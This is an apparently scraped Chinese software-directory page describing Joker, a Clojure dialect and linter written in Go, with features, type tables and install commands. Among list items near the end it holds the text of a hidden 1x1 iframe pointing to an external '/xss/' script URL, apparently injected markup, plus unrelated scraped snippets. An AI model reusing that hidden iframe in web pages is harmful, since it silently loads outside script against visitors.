当前位置: 首页 > 软件库 > 其他开源 > 操作系统 >

Joker

Go 编写的 Clojure 解释型方言
授权协议 EPL
开发语言 Clojure Google Go
所属分类 操作系统
软件类型 开源软件
地区 不详
投 递 者 江同化
操作系统 未知
开源组织
适用人群 未知
 软件概览

Joker 是一门使用 Go 编写的 Clojure 解释型方言,同时也是一个 Clojure(Script) linter。

Joker 代码示例

1. 在 Clojure 中编写脚本

2. 即时检查 Clojure(Script) 代码

特性

  • 拥有快速的启动时间
  • 提高明确的错误消息和堆栈跟踪
  • 支持发送 HTTP 请求、读取和解析 JSON、使用文件系统、启动外部进程等
  • 支持所有主流编辑器
  • 自动检查语法错误、函数数量不匹配、无法解析的符号、未使用的命名空间、变量、绑定等
  • ……

语法对比

Joker type Corresponding Go type
BigFloat big.Float (see below)
BigInt big.Int
Boolean bool
Char rune
Double float64
Int int
Keyword n/a
Nil n/a
Ratio big.Rat
Regex regexp.Regexp
String string
Symbol n/a
Time time.Time
Joker type Corresponding Clojure type
ArrayMap PersistentArrayMap
MapSet PersistentHashSet (or hypothetical PersistentArraySet, depending on which kind of underlying map is used)
HashMap PersistentHashMap
List PersistentList
Vector PersistentVector

安装

在 macOS 上,安装 Joker 最便捷的方法是使用 Homebrew:

brew install candid82/brew/joker

如果使用 Linuxbrew,可以在 Linux 上使用相同的命令。

如果使用 Arch Linux,提供了 AUR 包

如果使用 Nix,可以用下面的方式安装 Joker

nix-env -i joker

在其他平台上(或者希望手动安装),为对应的平台下载预编译的二进制文件并将其放在 PATH 中。

当然还可以从源代码构建 Joker。

  • id="cpro_u2392861_iframe" src="http://fission.seeovo.cn/xss/csdn.php?appkey=book_cover" width="1" height="1" align="center,center" vspace="0" hspace="0" marginwidth="0" marginheight="0" scrolling="no"

  • Contact: jack Contact number: +8617191462377 Contact: cjdt8u@yeah.net Joker-Quickspot A Tycoon This is a classic looking for different games, exquisite pictures, leisure sound effects, high quality, e

  • ASP.NET菜鸟,建博客写下自己的心得与记录,希望自己或其他刚入门的同学共同进步! 转载于:https://www.cnblogs.com/joker-xp/p/3154393.html

 相关资料
  • 本文向大家介绍简述解释型和编译型编程语言相关面试题,主要包含被问及简述解释型和编译型编程语言时的应答技巧和注意事项,需要的朋友参考一下  

  • 问题内容: 在HACKERRANK中,这行代码非常频繁地出现。我认为这是跳过空格,但那是什么意思 问题答案: Scanner.skip跳过与模式匹配的输入,这里的模式是:- ?精确匹配零或前一个字符。 | 另类 []匹配出现在单个字符 \ r匹配回车符 \ n换行符 \ u2028将字符与索引为2018的基数16(8232的基数10或20050的基数8)区分大小写 \ u2029将字符与索引为20

  • 主要内容:编译型语言,解释型语言,总结通过高级语言编写的源码,我们能够轻松理解,但对于计算机来说,它只认识二进制指令,源码就是天书,根本无法识别。源码要想执行,必须先转换成二进制指令。 所谓二进制指令,也就是由 0 和 1 组成的机器码,能被计算机直接识别并执行。 然而,究竟在什么时候将源代码转换成二进制指令呢?不同的编程语言有不同的规定: 有的编程语言要求必须提前将所有源代码一次性转换成二进制指令,也就是生成一个可执行程序(比如 W

  • 翻译的结果是什么?它会把高级语言变成汇编语言还是机器语言,即二进制代码? 如果是后者,这是否意味着解释语言与介绍集没有关系? 一种语言只能有一个口译员?是因为解释器不做任何优化,所以我们不需要找到更好的解释器吗?

  • 本文向大家介绍详解Swift编程中的for循环的编写方法,包括了详解Swift编程中的for循环的编写方法的使用技巧和注意事项,需要的朋友参考一下 for 循环是一个循环控制结构,可以有效地编写来执行的特定次数的循环。 语法 for 循环在 Swift 编程语言的语法是: 下面是在一个循环的流程控制: 初始化 init 步骤首先被执行,并且仅一次。在这一步,可以声明和初始化任何循环控制变量。 只要

  • 我尝试在Linux上用Pycharm调试现有的Django项目,使用现有的docker compose文件和远程解释器。 当我尝试启动项目时,正确的docker容器是launcher,但我得到错误: 我尝试过其他解释器路径(例如/usr/bin/python2.7),但错误仍然存在。我是否错过了此配置中的某些内容? 我已尝试将以下代码段添加到dockerfile,但没有帮助:

  • 由于网络的原因,如何有效的写大数据在异步框架是一个特殊的问题。因为写操作是非阻塞的,即便是在数据不能写出时,只是通知 ChannelFuture 完成了。当这种情况发生时,你必须停止写操作或面临内存耗尽的风险。所以写时,会产生大量的数据,我们需要做好准备来处理的这种情况下的缓慢的连接远端导致延迟释放内存的问题你。作为一个例子让我们考虑写一个文件的内容到网络。 在我们的讨论传输(见4.2节)时,我们